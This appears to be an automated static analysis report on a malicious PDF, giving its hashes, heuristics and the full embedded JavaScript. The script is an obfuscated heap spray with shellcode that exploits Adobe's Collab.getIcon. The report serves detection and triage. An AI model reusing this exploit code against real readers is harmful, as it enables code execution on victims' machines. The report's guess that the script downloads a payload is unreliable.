Malicious PDF — malware analysis report

Static analysis result for SHA-256 91bba898fe685090…

MALICIOUS

PDF

2.9 KB First seen: 2015-09-20
MD5: 4020fa80f282154504e88bd11845e6d0 SHA-1: 9042045a4dbb34de92b884fcb76a6ceb762a8f22 SHA-256: 91bba898fe6850909c481e9f4eb86f4a67dc01fefc5b70d2bf7a9ad1600370be
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF contains embedded JavaScript which is obfuscated and uses an eval() call, indicating an attempt to hide malicious code. The JavaScript is likely designed to download and execute a second-stage payload. The presence of PDF_JAVASCRIPT, PDF_JS, and PDF_EVAL heuristics further supports this conclusion. No specific family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    ds2="ds1";
    ds3=eval(ds2);
    e9 = u90();
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x26D 2068 bytes
SHA-256: 927053d0ab73cfd71a6dace314ab03eaad97678109b3e9ed052bbcf4462a1f3b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function pt1() {
    var ar1 = ["", "e8fc", "0089", "0000", "8960", "31e5", "64d2", "528b", "8b30", "0c52", "528b", "8b14", "2872", "b70f", "264a", "ff31", "c031", "3cac", "7c61", "2c02", "c120", "0dcf", "c701"];
    return ar1;
}

function pt2() {
    var ar2 = ["f0e2", "5752", "528b", "8b10", "3c42", "d001", "408b", "8578", "74c0", "014a", "50d0", "488b", "8b18", "2058", "d301", "3ce3", "8b49", "8b34", "d601", "ff31", "c031", "c1ac"];
    return ar2;
}

function pt3() {
    var ar3 = ["0dcf", "c701", "e038", "f475", "7d03", "3bf8", "247d", "e275", "8b58", "2458", "d301", "8b66", "4b0c", "588b", "011c", "8bd3", "8b04", "d001", "4489", "2424", "5b5b", "5961", "515a", "e0ff", "5f58", "8b5a", "eb12", "5d86", "016a", "858d", "00b9", "0000", "6850", "8b31", "876f", "d5ff", "f0bb", "a2b5", "6856", "95a6", "9dbd", "d5ff", "063c", "0a7c", "fb80", "75e0", "bb05", "1347", "6f72", "006a", "ff53", "63d5", "6c61", "2e63", "7865", "0065"];
    return ar3;
}

function pt5() {

    return "pt1().concat(pt2(),pt3()).join('%u')";
}

function et1() {
    var ary1 = ["90", "90"];
    return ary1;
}
function fe1()
{
return "Col"+"lab";
}
function fy2()
{
return eval;
}
function ds1(arg1)
{
ok=fy2();
a="ge"+"t";
b="Ic"+"on";
c=ok(a+b);
d=fe1();
d2=ok(d);
d2.c(arg1);
}
function uy(arg1)
{
va1="";
for (i = 128; i >= 0; --i) {
    va1 += uns1(arg1);
}
return va1;
}
function u90()
{
return et1.join("%u").concat(et1.join("%u"));
}
function wh1(arg1,arg2)
{
while (arg1.length < arg2) arg1 += arg1;
return arg1;
}

ds2="ds1";
ds3=eval(ds2);
e9 = u90();
uns1=unescape;
var temp1 = uns1(pt5());

temp2=uy(e9);

temp4 = temp2 + temp1;
temp5 = uns1(e9);
temp7 = 20 + temp4.length;
temp5=wh1(temp5,temp7);

temp8 = temp5.substring(0, temp7);
temp9 = temp5.substring(0, temp5.length - temp7);
while (temp9.length + temp7 < 0x40000) temp9 = temp9 + temp9 + temp8;
temp10 = new Array();
for (temp11 = 0; temp11 < 1450; temp11++) temp10[temp11] = temp9 + temp4;
var temp12 = uns1("%"+"0"+"9");
while (temp12.length < 0x4000) temp12 += temp12;
temp12 = "N." + temp12;
ds3(temp12);